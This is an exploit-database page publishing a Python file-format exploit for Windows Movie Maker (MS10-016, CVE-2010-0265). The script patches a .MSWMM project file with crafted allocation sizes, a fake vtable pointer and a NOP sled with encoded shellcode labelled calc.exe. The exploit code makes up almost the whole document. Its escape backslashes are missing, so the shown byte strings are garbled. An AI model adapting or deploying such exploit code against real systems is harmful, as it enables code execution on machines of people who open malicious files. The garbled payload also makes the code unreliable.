[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : MOAUB #4 - Movie Maker Remote Code Execution (MS10-016)
# Published : 2010-09-04
# Author : Abysssec
# Previous Title : MOAUB #5 - Microsoft MPEG Layer-3 Remote Command Execution Exploit
# Next Title : MOAUB #8 - Microsoft Office Visio DXF File Stack based Overflow


'''
 __  __  ____         _    _ ____  
 |  /  |/ __    /  | |  | |  _  
 |   / | |  | | /   | |  | | |_) |
 | |/| | |  | |/ / | |  | |  _ <  Day 4 
 | |  | | |__| / ____  |__| | |_) |
 |_|  |_|____/_/    _____/|____/ 

  http://www.exploit-db.com/movie-maker-remote-code-execution-ms10-016/
  http://www.exploit-db.com/sploits/Movie-Maker-Remote-Code-Execution-Exploit.zip

  Title               : Movie Maker Remote Code Execution  (MS10-016)
  Version             : moviemk.exe 2.1 (XP SP3)
  Analysis            : http://www.abysssec.com
  Vendor              : http://www.microsoft.com
  Impact              : Ciritical
  Contact             : shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter             : @abysssec
  CVE                 : CVE-2010-0265

  
'''


# Exploit for CVE-2010-0265
# Tested on Windows XP SP3( Movie Maker 2.1 )
  


import sys

def main():
   
    try:
		fdR = open('src.mswmm', 'rb+')
		strTotal = fdR.read()
		str1 = strTotal[:9976]
		str2 = strTotal[9980:10104]
		str3 = strTotal[10108:16496]
		str4 = strTotal[17620:]
		
		size_first_new = "x20x00x00x00"      # size of first new()
		size_second_new = "x11x11x00x00" 	# size of second new()
		
		p2p = "x71xb5x06x77"    #   vtable fake pointer from resource section COMRes -8 to jmp EBX 
		
		# shellcode calc.exe
		shellcode = 'x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90xebx00xebx03x59xebx05xe8xf8xffxffxffx49x49x49x49x49x49x49x49x48x49x49x49x49x49x49x49x49x49x51x5ax6ax44x58x50x30x41x30x41x6bx41x41x54x42x32x41x42x32x42x41x30x42x41x58x41x50x38x41x42x75x4ax49x69x6cx4bx58x51x54x65x50x57x70x45x50x4ex6bx67x35x35x6cx4ex6bx73x4cx55x55x71x68x67x71x68x6fx6cx4bx52x6fx46x78x4ex6bx51x4fx71x30x74x41x7ax4bx30x49x6cx4bx54x74x6ex6bx76x61x4ax4ex35x61x4bx70x6ax39x4cx6cx4dx54x6bx70x30x74x54x47x6ax61x6ax6ax64x4dx63x31x79x52x4ax4bx69x64x67x4bx32x74x65x74x66x64x31x65x4ax45x6cx4bx71x4fx31x34x57x71x48x6bx52x46x6ex6bx64x4cx52x6bx4ex6bx31x4fx77x6cx54x41x68x6bx4cx4bx57x6cx6cx4bx57x71x4ax4bx4ex69x41x4cx65x74x67x74x4ax63x75x61x4fx30x51x74x6cx4bx61x50x50x30x4fx75x4fx30x32x58x64x4cx4cx4bx71x50x54x4cx4cx4bx70x70x57x6cx4ex4dx6ex6bx73x58x35x58x4ax4bx36x69x6cx4bx4dx50x4cx70x67x70x75x50x37x70x4cx4bx45x38x35x6cx41x4fx57x41x68x76x53x50x30x56x6ex69x6bx48x6fx73x6fx30x63x4bx62x70x30x68x58x70x6fx7ax57x74x51x4fx45x38x6fx68x59x6ex4fx7ax66x6ex62x77x69x6fx38x67x73x53x52x41x30x6cx71x73x64x6ex35x35x30x78x70x65x45x50x44'
		
					
		if len(shellcode) > 1120:
			print "[*] Error : Shellcode length is long"
			return
		if len(shellcode) <= 1120:
			dif = 1120- len(shellcode)
			while dif > 0 :
				shellcode += 'x90'
				dif = dif - 1
				
		fdW= open('exploit.mswmm', 'wb+')
		fdW.write(str1)
		fdW.write(size_first_new)
		fdW.write(str2)
		fdW.write(size_second_new)
		fdW.write(str3)
		fdW.write(p2p)
		fdW.write('x90x90x90x90x90x90x90x90x90x90x90x90')     # padding		
		fdW.write(shellcode)
		fdW.write(str4)
		
		
		fdW.close()
		fdR.close()
		print '[-] Movie Maker file(.MSWMM) generated'
    except IOError:
        print '[*] Error : An IO error has occurred'
        print '[-] Exiting ...'
        sys.exit(-1)
                
if __name__ == '__main__':
    main()